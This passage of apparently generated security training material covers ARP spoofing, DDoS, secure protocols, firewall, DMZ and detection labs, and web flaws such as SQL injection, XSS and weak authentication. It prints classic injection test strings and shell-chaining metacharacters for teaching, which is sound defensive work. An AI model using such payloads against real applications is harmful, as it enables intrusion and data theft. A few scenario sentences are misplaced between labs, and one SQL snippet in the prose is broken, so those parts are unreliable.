ARP spoofing: Forging ARP replies to redirect local traffic through an attacker.

DAI: A switch feature that validates ARP packets against trusted bindings.

DNSSEC: Digital signatures that let resolvers verify DNS data.

SSL stripping: Downgrading a victim's connection from HTTPS to HTTP.

HSTS: A header telling browsers to always use HTTPS for a site.

REMEMBER

- ARP and DNS lack authentication, enabling spoofing.
- Use DAI, DNSSEC, TLS and HSTS as layered defenses.
- Detect duplicate MAC mappings, gratuitous ARP bursts and certificate warnings.

QUICK CHECK

1. What does ARP spoofing exploit?

- A) ARP accepts unauthenticated replies
- B) DNS uses UDP
- C) TLS is old
- D) IP is routed

2. Which control validates ARP packets on a switch?

- A) DAI
- B) NAT
- C) QoS
- D) STP

3. What does DNSSEC provide?

- A) Encryption of queries
- B) Authenticity of DNS records
- C) Faster lookups
- D) Hiding of IPs

4. HSTS defends against which attack?

- A) SSL stripping
- B) ARP flood
- C) Port scan
- D) SYN flood

Answers: 1-A 2-A 3-B 4-A

1. Hosts trust gratuitous ARP replies without verification.
2. Dynamic ARP Inspection uses DHCP snooping bindings.
3. It signs records so tampering is detected.
4. Browsers refuse to downgrade to HTTP.

DoS, DDoS and secure protocols

Availability is a security goal. Flood attacks are cheap to launch, and legacy cleartext protocols remain easy to eavesdrop, so both need deliberate fixes.

SYN floods and resource exhaustion

A denial-of-service (DoS) attack tries to make a service unavailable; a distributed denial-of-service (DDoS) uses many sources, often a botnet. In a SYN flood, the attacker sends many TCP SYN packets, often with spoofed source addresses, and never completes the handshake. The server keeps half-open connections in its backlog until the table is full and real users cannot connect. Mitigations include SYN cookies, which avoid storing state until the final ACK arrives, shorter timeouts, larger backlogs, and rate limiting at the edge. Application-layer floods, such as many HTTP requests to a costly search page, need different controls like caching, WAF rules and per-client limits.

Amplification and reflection

In reflection and amplification attacks the attacker sends small requests with a spoofed source address, the victim's, to open servers that reply with much larger responses. DNS, NTP monlist and memcached over UDP have produced amplification factors from tens to thousands. The victim is flooded by legitimate servers it never contacted. Defenses fall on both sides: network operators apply BCP 38 ingress filtering to drop spoofed source addresses, administrators close open resolvers and disable risky features, and victims rely on upstream scrubbing. Because UDP is connectionless, services that must use it should limit response size and rate.

Mitigating DDoS

Large floods cannot be fixed on your own link, since the pipe is full before the firewall sees the traffic. Use a CDN or DDoS scrubbing provider, anycast routing to spread load, and upstream blackholing or Flowspec in emergencies. Design for resilience: autoscaling, redundant providers and capacity headroom. Prepare a runbook that identifies the type of flood from flow data, top sources and protocol mix, names who contacts the ISP, and defines customer communication. Keep monitoring baselines so an unusual rise in packets per second or half-open connections triggers an alert early.

Replacing insecure protocols

Telnet, FTP and HTTP send credentials and data in cleartext, so anyone on the path can read them. Replace Telnet with SSH (TCP 22), FTP with SFTP (over SSH, port 22) or FTPS, and HTTP with HTTPS (TCP 443) using TLS 1.2 or 1.3. Other swaps include SNMPv1 and v2c to SNMPv3, POP3 and IMAP to their TLS versions, LDAP to LDAPS or StartTLS, and SMBv1 off entirely. Disable old protocol versions and weak ciphers, use certificates from a trusted authority, and verify by scanning your own network for open cleartext services and then closing them.

CONNECTION LOG SUMMARY (FICTIONAL)

```
State Count Top source
ESTABLISHED 412 192.0.2.20
SYN_RECV 18734 (many; spoofed ranges)
TIME_WAIT 209 -
syslog: possible SYN flooding on port 443. Sending cookies.
```

WORKED EXAMPLE

A web server at 203.0.113.10 shows 18,734 connections in SYN_RECV and the kernel logs a SYN flood warning. Real users time out. The administrator enables SYN cookies, asks the upstream provider to filter spoofed ranges, and adds a rate limit for new connections per source at the load balancer. Within minutes the half-open count drops. The same review finds Telnet open on a router, which is replaced by SSH.

KEY TERMS

SYN flood: A DoS attack exhausting TCP half-open connection resources.

SYN cookies: A technique that avoids storing state until the handshake completes.

Amplification: Using a server that returns larger replies than the request to flood a victim.

BCP 38: Ingress filtering that blocks packets with spoofed source addresses.

SFTP: File transfer over SSH, replacing FTP.

REMEMBER

- SYN floods exhaust connection state; SYN cookies and rate limits help.
- Amplification abuses spoofing and open UDP services.
- Use scrubbing for large DDoS and replace Telnet, FTP, HTTP with SSH, SFTP, HTTPS.

QUICK CHECK

1. What do SYN cookies prevent?
 - A) Resource exhaustion from half-open connections
 - B) ARP spoofing
 - C) XSS
 - D) Password guessing
2. Why do amplification attacks spoof the source address?
 - A) So replies hit the victim
 - B) To speed up DNS
 - C) To avoid TLS
 - D) To hide the server
3. Which is the secure replacement for Telnet?
 - A) FTP
 - B) SSH
 - C) HTTP
 - D) SNMPv1
4. Which defense helps most for volumetric DDoS?
 - A) Local firewall rule
 - B) Upstream scrubbing or CDN
 - C) Longer passwords
 - D) Patching browsers

Answers: 1-A 2-A 3-B 4-B

1. State is not stored until a valid ACK returns.
2. The large responses go to the victim's address.
3. SSH encrypts the session and authenticates the server.
4. Traffic must be filtered before it saturates your link.

Write firewall rules

SCENARIO

A fictional web server at 203.0.113.10 sits in a DMZ. The current iptables policy is ACCEPT with no rules. Business needs: public HTTPS on 443, HTTP only for a redirect on 80, SSH only from the admin subnet 192.0.2.0/24, and no connection from the DMZ to the internal subnet 10.3.0.0/24. All dropped traffic should be logged with a rate limit.

OBJECTIVE

Create a default-deny ruleset that supports the needs and blocks lateral movement.

STEPS IN THE SIMULATOR

- 1 Do:** Set the default policy for INPUT and FORWARD to DROP.

Simulator shows:

iptables -P INPUT DROP ; -P FORWARD DROP : ok. Warning: SSH session may drop, allow established first.

- 2 Do:** Add a rule for loopback and for ESTABLISHED,RELATED connections.

Simulator shows:

2 rules added. Existing sessions preserved.

- 3 Do:** Allow TCP 443 and TCP 80 from any source.

Simulator shows:

Rules 3 and 4 added. Scan preview: 80, 443 open.

- 4 Do:** Allow TCP 22 only from 192.0.2.0/24.

Simulator shows:

Rule 5 added. Preview: 22 open for 192.0.2.0/24 only.

- 5 Do:** Add an OUTPUT rule rejecting traffic to 10.3.0.0/24.

Simulator shows:

Rule 6 added: OUTPUT -d 10.3.0.0/24 -j REJECT.

- 6 Do:** Add a LOG rule with limit 5/min before the final drop.

Simulator shows:

Rule 7 added: -m limit --limit 5/min -j LOG --log-prefix DROP:

- 7 Do:** Run the verification test suite.

Simulator shows:

PASS: 443 reachable, PASS: 22 blocked from 198.51.100.9, PASS: DMZ to 10.3.0.0/24 blocked, PASS: drops logged.

ANSWER

A default-drop INPUT policy with allowances for loopback, established traffic, TCP 80 and 443 from anywhere, and TCP 22 from 192.0.2.0/24 only; an OUTPUT reject to 10.3.0.0/24; and a rate-limited LOG rule before the drop. Tests confirm lateral movement is blocked and drops are logged.

Hint shown in the app: Allow established traffic before setting a drop policy, and put LOG before the final drop.

Design a DMZ network

SCENARIO

Fictional company Example Corp is deploying a public web server, a database, and an admin workstation. The canvas has zones labeled Internet, DMZ, Internal Server Zone, User LAN and Management, plus two firewalls. You must place hosts and draw only the flows the application genuinely needs. The company expects audits, so every allow must be justified by a business need and every blocked attempt should leave evidence. The lab checks your result with a simulated scan from the internet and from a compromised internal host.

OBJECTIVE

Place hosts in correct zones and draw the minimum allowed flows.

STEPS IN THE SIMULATOR

- 1 **Do:** Drag the web server to the DMZ.

Simulator shows:

Placed: web01 in DMZ (203.0.113.10).

- 2 **Do:** Drag the database to the Internal Server Zone.

Simulator shows:

Placed: db01 in Internal Server Zone (10.3.0.5).

- 3 **Do:** Drag the admin workstation to the Management zone behind a jump host.

Simulator shows:

Placed: admin01 in Management (10.9.0.4).

- 4 **Do:** Draw Internet -> web01 on TCP 443 through the external firewall.

Simulator shows:

Flow added: Internet -> DMZ 443/tcp. Validator: ok.

- 5 **Do:** Draw web01 -> db01 on TCP 5432 through the internal firewall.

Simulator shows:

Flow added: DMZ -> Server 5432/tcp (single host). Validator: ok.

- 6 **Do:** Try drawing Internet -> db01.

Simulator shows:

Rejected: database must not be reachable from the internet.

- 7 **Do:** Draw Management -> web01 and db01 on TCP 22 and run the validator.

Simulator shows:

Score: 100%. Warnings: 0. DMZ has no route to User LAN or Management.

ANSWER

The web server sits in the DMZ, the database in the internal server zone, and administration comes from the management zone. Allowed flows are Internet to web on 443, web to database on 5432 only, and management to both on SSH. Nothing from the DMZ may initiate connections to user or management networks.

Hint shown in the app: Ask what happens if the web server is compromised, and make sure it can reach only one thing.

Detect ARP spoofing

SCENARIO

A fictional capture from the 192.0.2.0/24 office LAN was taken after users reported certificate warnings and slow connections. The gateway is 192.0.2.1. You will read ARP packets and decide which host is poisoning the network. Management asks for a design the audit team can verify: each arrow you draw becomes a line in the allowed flow matrix, and any flow you leave out is denied by default. Keep the least access that still lets the application work.

OBJECTIVE

Find conflicting MAC to IP mappings and name the attacker's MAC and IP.

STEPS IN THE SIMULATOR

- 1 **Do:** Apply the display filter arp.

Simulator shows:
Showing 42 of 3,918 packets.

- 2 **Do:** Sort by time and note the first reply for 192.0.2.1.

Simulator shows:
Packet 7: 192.0.2.1 is at 00:53:00:aa:aa:01 (router, normal).

- 3 **Do:** Scroll to later ARP replies for 192.0.2.1.

Simulator shows:
Packets 112, 140, 168: 192.0.2.1 is at 00:53:00:ee:ee:09 (changed).

- 4 **Do:** Open the ARP table summary view.

Simulator shows:
00:53:00:ee:ee:09 mapped to 192.0.2.1 and 192.0.2.50. Duplicate MAC flagged.

- 5 **Do:** Check the packet details for packet 113.

Simulator shows:
Opcode: reply, gratuitous (sender = target IP). Source MAC 00:53:00:ee:ee:09.

- 6 **Do:** Look up the MAC in the DHCP lease table.

Simulator shows:
Lease: 192.0.2.50 -> 00:53:00:ee:ee:09, host 'kali-test'.

- 7 **Do:** Submit the finding.

Simulator shows:
Correct: attacker is 192.0.2.50 (00:53:00:ee:ee:09). Suggested actions: DAI, port shutdown.

ANSWER

The attacker is host 192.0.2.50 with MAC 00:53:00:ee:ee:09, which sends repeated gratuitous ARP replies claiming to be the gateway 192.0.2.1 and also appears as a second IP on the same MAC. The legitimate gateway MAC is 00:53:00:aa:aa:01. Recommended response: shut the switch port, enable Dynamic ARP Inspection with DHCP snooping, and check what unencrypted traffic was exposed.

Hint shown in the app: One MAC claiming more than one IP, especially the gateway's, is the tell.

Tune a Suricata alert

SCENARIO

The fictional SOC log viewer shows 600 Suricata alerts from the last hour. Many come from a scanner at 192.0.2.40 owned by the security team. You must separate noise from real activity and then write a rule that catches port scans from external hosts. Your tools are a packet list, display filters, a host summary and the DHCP lease table. Work methodically: establish what normal looks like first, then look for the moment the mapping changed and who sent the replies.

OBJECTIVE

Suppress the benign scanner alerts and write a threshold rule for external port scans.

STEPS IN THE SIMULATOR

- 1 **Do:** Group alerts by signature and count.

Simulator shows:

ET SCAN Nmap: 480; ET POLICY curl UA: 96; ET MALWARE Possible beacon: 4; other: 20.

- 2 **Do:** Filter the scan alerts by source.

Simulator shows:

Source 192.0.2.40: 478 alerts. Source 198.51.100.77: 2 alerts.

- 3 **Do:** Check the asset inventory for 192.0.2.40.

Simulator shows:

Asset: vuln-scanner-01, owner SecOps, scheduled Tuesday 01:00.

- 4 **Do:** Add a suppression for sid 2000000 range only from 192.0.2.40.

Simulator shows:

Suppress rule saved: track by_src, ip 192.0.2.40. Alerts now: 122.

- 5 **Do:** Open the remaining 198.51.100.77 alerts and note ports.

Simulator shows:

Ports probed: 21,22,23,80,443,445,3389 within 8 seconds.

- 6 **Do:** Write the detection rule.

Simulator shows:

Rule saved: alert tcp !\$SCANNERS any -> \$HOME_NET any (flags:S; threshold:type both,track by_src,count 20,seconds 10; sid:1000002;)

- 7 **Do:** Replay the log against the new rule.

Simulator shows:

1 alert: 198.51.100.77 port scan. 0 alerts for 192.0.2.40.

ANSWER

The 478 scan alerts from 192.0.2.40 are authorized vulnerability scanning and can be suppressed for that source only. The real finding is 198.51.100.77 probing many ports quickly, which a threshold rule on SYN packets (about 20 in 10 seconds per source, excluding scanners) detects.

Hint shown in the app: Suppress by source address for one rule, not the whole rule for everyone.

Triage a SYN flood

SCENARIO

The fictional SIEM shows rising latency on the public web service at 203.0.113.10. Connection logs from the load balancer show many half-open connections. You must confirm the attack type, characterize sources and choose the right mitigation from a response menu. You can group, filter and search alerts, consult the asset inventory, and test rules by replaying the hour of traffic. Be careful that your suppression is narrow so that a real attacker using the same signature is still reported to the team.

OBJECTIVE

Identify a SYN flood and apply the correct mitigation.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the dashboard for 203.0.113.10 and view connection states.

Simulator shows:

SYN_RECV rose from 40 to 21,300 in 6 minutes; ESTABLISHED flat at 400.

- 2 **Do:** Check packets per second by protocol.

Simulator shows:

TCP SYN 94 percent; payload bytes near zero. Not a bandwidth flood.

- 3 **Do:** List top source addresses.

Simulator shows:

14,000 distinct sources, no source above 0.5 percent. Many in unallocated ranges.

- 4 **Do:** Review the server log.

Simulator shows:

kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies.

- 5 **Do:** Open the response menu and read the options.

Simulator shows:

Options: reset password policy, block one IP, enable SYN cookies and edge rate limit, patch browsers.

- 6 **Do:** Select enable SYN cookies and per-source rate limit, then engage upstream scrubbing.

Simulator shows:

Applied. SYN_RECV falls to 600 within 3 minutes; latency normal.

- 7 **Do:** Write the incident note.

Simulator shows:

Saved: type SYN flood, spoofed sources, mitigation SYN cookies plus upstream filter.

ANSWER

This is a SYN flood: huge SYN_RECV counts, SYN-dominant traffic with no payload, and many spoofed sources so single-IP blocking is useless. The right mitigation is SYN cookies with edge rate limiting and upstream filtering or scrubbing. Single-address blocking is ineffective because spoofed sources change constantly, and bandwidth was not the constraint.

Hint shown in the app: Count how many distinct sources there are before choosing to block an address.

Network Security: 10 questions, 80% to pass

1. A firewall rule list ends with an explicit drop of all traffic. This is called:
 - A) Default deny
 - B) Stateful inspection
 - C) Split tunneling
 - D) Port mirroring
2. Which device can drop malicious packets in real time?
 - A) IDS on a SPAN port
 - B) IPS inline
 - C) Passive tap
 - D) Syslog server
3. What does a reverse proxy protect?
 - A) Internal clients going out
 - B) Back-end servers receiving requests
 - C) DNS records
 - D) Wireless clients
4. Which design places internet-facing servers in a separate buffer zone?
 - A) DMZ
 - B) Flat network
 - C) Native VLAN
 - D) Honeypot
5. Which Wi-Fi option gives each user unique credentials?
 - A) WEP
 - B) WPA2-Personal
 - C) WPA2/WPA3-Enterprise with 802.1X
 - D) Open network with captive portal
6. Two IP addresses mapped to the same MAC in an ARP table suggests:
 - A) DHCP success
 - B) ARP spoofing
 - C) DNSSEC
 - D) SYN flood
7. Which header makes browsers refuse plain HTTP to a site?
 - A) X-Frame-Options
 - B) Strict-Transport-Security
 - C) Referer
 - D) Server
8. What does DNSSEC provide?
 - A) Confidentiality of queries
 - B) Signed, verifiable DNS records
 - C) DDoS protection
 - D) Faster resolution
9. A server shows tens of thousands of SYN_RECV connections. Best mitigation?
 - A) Enable SYN cookies and rate limiting
 - B) Reboot daily
 - C) Disable HTTPS
 - D) Open port 23
10. Which pair is a correct secure replacement?
 - A) Telnet to SSH
 - B) SSH to Telnet
 - C) HTTPS to HTTP
 - D) SFTP to FTP

Answers: 1-A 2-B 3-B 4-A 5-C 6-B 7-B 8-B 9-A 10-A

1. Anything not permitted earlier is blocked.
2. Only an inline IPS sits in the path.
3. It fronts servers.
4. A DMZ isolates exposed services.
5. 802.1X uses RADIUS authentication per user or device.
6. The attacker's MAC claims multiple identities.
7. HSTS enforces HTTPS.
8. Resolvers can validate authenticity.
9. They avoid state exhaustion.
10. SSH encrypts management sessions.

Web Application Security

Intermediate | 8 lessons | 6 simulated labs | checkpoint | about 6h 30m

This module teaches how web applications fail and how to fix them. You will review HTTP, survey the OWASP Top 10, and study injection, cross-site scripting, broken authentication, broken access control and IDOR, CSRF and SSRF, misconfiguration and vulnerable components, and finally secure headers, cookie flags and testing with Burp or ZAP. Every attack is practiced only against a sandbox and paired with the code or configuration change that stops it.

BY THE END YOU CAN

- + Identify OWASP Top 10 flaws in requests and code
- + Exploit and fix SQL injection, XSS, IDOR and CSRF in a sandbox
- + Apply secure headers, cookie flags and input handling

IN THIS MODULE

Lesson 1 HTTP basics and the OWASP Top 10

Lesson 2 Injection: SQLi and command injection

Lesson 3 Cross-site scripting

Lesson 4 Broken authentication and session flaws

Lesson 5 Broken access control and IDOR

Lesson 6 CSRF and SSRF

Lesson 7 Misconfiguration and vulnerable components

Lesson 8 Secure headers, cookies and testing

Lab 1 Intercept and modify a request (Web proxy)

Lab 2 Exploit SQL injection safely (Web proxy)

Lab 3 Fix an injectable query (Code editor)

Lab 4 Find stored XSS (Web proxy)

Lab 5 Enumerate IDOR (Web proxy)

Lab 6 Harden headers and cookies (Config editor)

Checkpoint 10 questions, 80% to pass

HTTP basics and the OWASP Top 10

Every web flaw is a misuse of how requests and responses work. You must read HTTP fluently and know the standard categories of weakness.

Requests, responses and methods

HTTP is a stateless request-response protocol. A request has a method, a path, headers and an optional body; a response has a status code, headers and a body. Common methods are GET (retrieve, should be safe and not change state), POST (submit data), PUT and PATCH (update), and DELETE. Status codes group by first digit: 2xx success (200 OK), 3xx redirect (301, 302), 4xx client error (400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found), 5xx server error (500, 503). Important headers include Host, Cookie, Content-Type, Authorization and User-Agent. Everything the client sends, including hidden form fields and cookies, can be changed by the user, so the server must never trust it.

Parameters, cookies and state

Data reaches the server in the URL query string, the path, headers, cookies and the body, as form fields or JSON. Because HTTP is stateless, applications track users with cookies or tokens, which makes them a prime target. Never place secrets in URLs, because they appear in logs, browser history and Referer headers. Use POST or PUT for state changes. A browser enforces the same-origin policy, which stops a script on one origin from reading data from another, but it does not stop the browser from sending requests, which is why CSRF exists. Servers must validate input, authenticate and authorize every request.

The OWASP Top 10

The Open Worldwide Application Security Project (OWASP) publishes a ranked awareness list of the most critical web application risks. The 2021 edition names: A01 Broken Access Control, A02 Cryptographic Failures, A03 Injection, A04 Insecure Design, A05 Security Misconfiguration, A06 Vulnerable and Outdated Components, A07 Identification and Authentication Failures, A08 Software and Data Integrity Failures, A09 Security Logging and Monitoring Failures, and A10 Server-Side Request Forgery. Broken access control sits at number one because it was found in a large share of tested applications. Newer editions reorder and rename categories, so treat the list as a map, not a checklist to memorize forever.

How to use the list

The Top 10 is an awareness document. For development, pair it with the OWASP Application Security Verification Standard (ASVS), which gives testable requirements, and the Cheat Sheet Series for concrete fixes. During design, use threat modeling to find insecure design before code exists. During testing, map each finding to a category so teams can see patterns, such as many access control issues in one service. Record the affected request, the root cause and the fix. Fixing a class of problem with a shared library or framework feature, such as a safe query builder, is better than patching each page separately.

RAW HTTP EXCHANGE (FICTIONAL)

```
POST /login HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: lang=en

user=ana.test&pass=*****

HTTP/1.1 302 Found
Location: /account
Set-Cookie: sid=9f3a...; Secure; HttpOnly; SameSite=Lax
```

WORKED EXAMPLE

A tester reads a login exchange and notes three facts: the credentials travel in a POST body, the server answers 302 and sets a session cookie, and the cookie has Secure, HttpOnly and SameSite flags. She maps related risks to Top 10 categories: weak logout is A07, a missing check on /account/1042 would be A01, and verbose stack traces on error pages would be A05. The map guides which requests she will test next.

KEY TERMS

HTTP method: The verb in a request that states the intended action, such as GET or POST.

Status code: A three digit number in a response indicating the result.

Same-origin policy: A browser rule preventing a page from reading data from another origin.

OWASP Top 10: A ranked list of the most critical web application security risks.

ASVS: The OWASP standard of verifiable web security requirements.

REMEMBER

- HTTP data from the client is always untrusted.
- Know status codes, methods, headers and cookies.
- Use the OWASP Top 10, ASVS and cheat sheets to classify and fix flaws.

QUICK CHECK

1. Which status code means the user is authenticated but not allowed?
A) 401
B) 403
C) 404
D) 500
2. What is the top category in the 2021 OWASP Top 10?
A) Injection
B) Broken Access Control
C) XSS
D) SSRF
3. Why should GET requests not change state?
A) GET is encrypted
B) They can be cached, prefetched and triggered cross-site
C) They use UDP
D) They are faster
4. Which data can a user alter before it reaches the server?
A) Only the URL
B) Only the form fields
C) Cookies, headers, hidden fields and parameters
D) Nothing

Answers: 1-B 2-B 3-B 4-C

1. 403 Forbidden denies access to an identified client.
2. A01 is Broken Access Control.
3. Safe methods should have no side effects.
4. Anything sent by the client is untrusted.

Injection: SQLi and command injection

Injection happens when untrusted data is interpreted as code. It can expose or destroy entire databases and remains one of the most damaging flaws.

How SQL injection works

SQL injection occurs when an application builds a query by concatenating user input, so the input changes the structure of the query. Given the code `query = "SELECT * FROM users WHERE name=" + name + "'",` a value such as `' OR '1'='1` turns the condition into one that is always true and returns every row. A single quote that causes a database syntax error is a common first sign. With a UNION clause an attacker can append results from another table if the column counts match. Impact ranges from authentication bypass to data theft, modification and sometimes command execution on the database server. Error messages, response timing and differences in page content also leak information, giving blind injection.

Parameterized queries

The primary fix is parameterized queries, also called prepared statements. The SQL text is sent with placeholders, and values are supplied separately, so the database never treats them as code. For example, `cursor.execute("SELECT * FROM users WHERE name = %s", (name,))` keeps the input as data. Object-relational mappers help if used with bound parameters, but raw string building inside an ORM is still vulnerable. Stored procedures are safe only if they do not concatenate dynamic SQL. Escaping by hand is fragile and should not be the main defense. Placeholders cannot be used for table or column names, so use an allowlist of permitted identifiers.

Defense in depth for databases

Add layers around parameterization. Validate input by type, length, format and range, using allowlists, such as digits only for an ID. Run the application with a least-privilege database account that cannot drop tables, read system tables, or access unrelated schemas. Hide detailed errors from users and log them privately. Use a WAF as a temporary shield, not a cure. Test with static analysis, dynamic scanning and code review that searches for string concatenation near queries. Keep sensitive columns encrypted or hashed so that even a successful query yields less value, and monitor for unusual query patterns and sudden large result sets.

Command injection and other interpreters

Command injection arises when an application passes user input to a shell, for example building `ping -c 1` plus a user-supplied host. Shell metacharacters such as `;` `|` `&&` and backticks let input append extra commands. Prevent it by avoiding the shell: call APIs or libraries directly, or pass arguments as an array to functions that do not invoke a shell, and validate input against strict allowlists. The same principle covers LDAP, XPath, NoSQL and template injection: keep code and data separate, use safe APIs, and apply least privilege to the process so any mistake has limited impact. Running services as unprivileged users limits damage.

VULNERABLE VERSUS FIXED (FICTIONAL)

```
# vulnerable
q = "SELECT id FROM users WHERE name='" + name + "'"
# input: ' OR '1'='1 -> WHERE name='' OR '1'='1'

# fixed
cur.execute("SELECT id FROM users WHERE name = %s", (name,))
# input is bound as a literal value, never parsed as SQL
```

WORKED EXAMPLE

A search page at `shop.example.com` returns a database error when a tester enters a single quote. The code concatenates the term into a SELECT. The developer rewrites the query as a prepared statement, validates that the sort column is one of three allowed names, and switches the app to a database account with read-only access to the products table. Retesting the same quote now returns a normal 'no results' page and no error text.

KEY TERMS

SQL injection: Altering a database query by supplying input that is interpreted as SQL.

Parameterized query: A query where input values are bound separately from the SQL text.

Blind injection: Injection where results are inferred from behavior rather than shown directly.

Allowlist validation: Accepting only values known to be valid.

Command injection: Causing an application to run attacker-chosen operating system commands.

REMEMBER

- Never build queries or shell commands from raw input.
- Use parameterized queries and allowlists for identifiers.
- Layer least privilege, error hiding and testing.

QUICK CHECK

1. What is the primary defense against SQL injection?

- A) Blocking the word SELECT
- B) Parameterized queries
- C) Client-side JavaScript validation
- D) Hiding the login page

2. Why can a placeholder not protect a table name?

- A) Placeholders only bind values
- B) Tables are encrypted
- C) Databases ignore them
- D) It is too slow

3. Which input is typical in command injection?

- A) A semicolon followed by another command
- B) A long password
- C) A JPEG image
- D) A cookie flag

4. Why use a least-privilege database account?

- A) It speeds queries
- B) It limits damage if injection occurs
- C) It encrypts data
- D) It removes need for validation

Answers: 1-B 2-A 3-A 4-B

1. Binding separates data from code.
2. Identifiers must come from an allowlist.
3. Shell metacharacters chain commands.
4. A compromised query can do less.

Cross-site scripting

XSS lets attackers run script in a victim's browser under your site's origin, enabling session theft, defacement and actions on the user's behalf.

Three kinds of XSS

Reflected XSS occurs when input from a request, such as a search term, is echoed into the response without encoding, so a crafted link causes script to run in the victim's browser. Stored XSS happens when malicious input is saved, for example in a comment or profile, and later served to every viewer, which makes it more dangerous. DOM-based XSS occurs entirely in client-side code, when JavaScript reads from a source such as `location.hash` and writes it to a sink such as `innerHTML` without sanitizing. Script running in the page can read non-`HttpOnly` cookies, call APIs as the user, rewrite the page and capture keystrokes. A test string such as `<script>alert(1)</script>` in a sandbox shows whether input is executed.

Output encoding

The core defense is context-aware output encoding: encode data as it is written into the page, according to where it goes. In HTML body text, convert `<` `>` `&` `"` `'` to entities; in an HTML attribute, encode and always quote the attribute; in JavaScript, encode as escaped values or, better, avoid inserting data into script at all; in URLs, percent-encode. Modern frameworks such as React, Angular and Vue encode by default, but bypasses like `dangerouslySetInnerHTML`, `v-html` or `innerHTML` reintroduce risk. When users must submit rich HTML, sanitize it with a maintained library such as `DOMPurify` using an allowlist of tags and attributes, never a hand-written filter.

Content Security Policy

Content Security Policy (CSP) is a response header that tells the browser which sources of scripts, styles and other content are allowed. A strong policy, such as `Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'`, blocks inline scripts without a matching nonce and scripts from other origins, so an injected payload fails even if a bug exists. Avoid `'unsafe-inline'` and wildcard sources. Start with `Content-Security-Policy-Report-Only` and a report-to endpoint to find breakage, then enforce. CSP is a second layer; the first is correct encoding. Pair it with `HttpOnly` cookies so stolen script cannot read the session cookie.

Finding and fixing XSS

Test each place where user data is reflected: search boxes, error messages, profile fields, headers such as `User-Agent` that are displayed in admin pages, and parameters in single-page applications. Check how the value appears in the page source to learn its context. Fix at the output point, not only at input, because the same data may appear in several contexts. Add automated scanning and code review for unsafe sinks. After the fix, retest the original payload and encoded variants. Educate developers that sanitizing by deleting the word `script` is easily bypassed, and that framework defaults should be left on.

ENCODING EXAMPLE (FICTIONAL)

```
input: <script>alert(1)</script>
unsafe: <p>Hello <script>alert(1)</script></p> (runs)
encoded: <p>Hello &lt;script&gt;alert(1)&lt;/script&gt;</p> (shown as text)
header: Content-Security-Policy: default-src 'self'; script-src 'self'
```

WORKED EXAMPLE

A comment form on `blog.example.com` stores text and prints it raw. A tester posts a harmless alert payload and every visitor sees a popup, proving stored XSS. The fix has three parts: the template now HTML-encodes comment text, a CSP forbids inline scripts, and the session cookie is marked `HttpOnly`. The tester resubmits the payload and it appears as visible text, with the browser console reporting a CSP block for any injection attempt.

KEY TERMS

Reflected XSS: Script injected through a request and echoed back in the response.

Stored XSS: Script saved on the server and delivered to later visitors.

DOM XSS: Script injection through unsafe client-side handling of data.

Output encoding: Converting special characters so they are displayed, not executed.

CSP: A header restricting which content sources the browser may load or run.

REMEMBER

- XSS runs attacker script in your origin.
- Encode output by context and sanitize rich HTML with a trusted library.
- Add CSP and HttpOnly cookies as extra layers.

QUICK CHECK

1. Which XSS type persists on the server?
 - A) Reflected
 - B) Stored
 - C) DOM
 - D) Passive
2. What is the primary defense against XSS?
 - A) Context-aware output encoding
 - B) Longer passwords
 - C) Using GET only
 - D) Disabling cookies
3. What does a CSP with script-src 'self' do to an injected inline script?
 - A) Allows it
 - B) Blocks it
 - C) Encrypts it
 - D) Logs only
4. Which cookie flag limits the damage of XSS cookie theft?
 - A) Secure
 - B) HttpOnly
 - C) Path
 - D) Expires

Answers: 1-B 2-A 3-B 4-B

1. Stored payloads are served to every viewer.
2. Encoding keeps data from being interpreted as markup.
3. Inline scripts without nonces are blocked.
4. HttpOnly hides the cookie from scripts.

Broken authentication and session flaws

If login and session handling are weak, attackers do not need to exploit anything else; they simply become the user.

Weak login and credential stuffing

Broken authentication covers weak passwords policies, unlimited login attempts, predictable reset tokens, default accounts and exposing which part of a login failed. Credential stuffing uses lists of username and password pairs leaked elsewhere, relying on password reuse; it is automated and low and slow to avoid detection. Brute force tries many passwords against one account, while password spraying tries one common password against many accounts. Defenses include rate limiting per account and per IP, progressive delays, CAPTCHA or proof-of-work on suspicious activity, breached-password checks, MFA, and alerts for bursts of failures. Use the same generic message, such as invalid username or password, for every failure to prevent account enumeration.

Session fixation and hijacking

In session fixation, an attacker obtains a valid session ID and tricks a victim into using it, for instance through a crafted link, then waits for the victim to log in; the server keeps the same ID, so the attacker is now logged in. The fix is to issue a new session ID at login and after privilege changes. Session hijacking steals an active ID through XSS, network sniffing on plain HTTP, or logs. Counter it with Secure and HttpOnly cookies, HTTPS everywhere with HSTS, never putting IDs in URLs, and short idle and absolute timeouts. Logout must invalidate the session on the server, not only delete the browser cookie.

Password reset and recovery flaws

Password reset is a second login path and is often the weakest. Reset tokens must be long, random, single use, short lived and tied to the account; never use sequential numbers or user-controlled data. Do not reveal whether an email exists. Send links only to the address on file and do not allow the Host header to control the link domain. Security questions based on public facts are weak and should be dropped. After a reset, invalidate other sessions and notify the user. Require re-authentication or MFA before changing email or password, since attackers who briefly hold a session will try to lock out the owner.

Hardening the login flow

Store passwords with Argon2id or bcrypt, enforce MFA for sensitive accounts, and support passkeys. Log all authentication events with user, source address and outcome, and alert on anomalies such as many failures across many usernames from one address. Do not rely on client-side checks. Test by trying common passwords on a test account, observing whether lockout occurs, checking if the session ID changes after login, and examining cookies for flags. Remove default and test accounts before launch. Treat service accounts and API keys in the same way: rotate them, scope them narrowly and never hard-code them in source repositories.

LOGIN LOG EXCERPT (FICTIONAL)

```
09:41:02 FAIL user=ana.test src=198.51.100.9
09:41:02 FAIL user=ben.test src=198.51.100.9
09:41:03 FAIL user=cy.test src=198.51.100.9
09:41:03 FAIL user=dee.test src=198.51.100.9
... 1,900 more distinct usernames in 4 minutes
alert: password spraying pattern
```

WORKED EXAMPLE

The monitoring dashboard for portal.example.com shows 2,000 failed logins in four minutes, each against a different username and from 198.51.100.9. This is password spraying or credential stuffing. The team adds per-IP rate limits, requires MFA for any account with a failure in the last hour, forces a reset on accounts whose passwords match a breached list, and switches the error text to one generic message so attackers cannot learn which usernames exist.

KEY TERMS

Credential stuffing: Replaying leaked credentials across sites.

Password spraying: Trying a few common passwords against many accounts.

Session fixation: Forcing a victim to use a session ID the attacker knows.

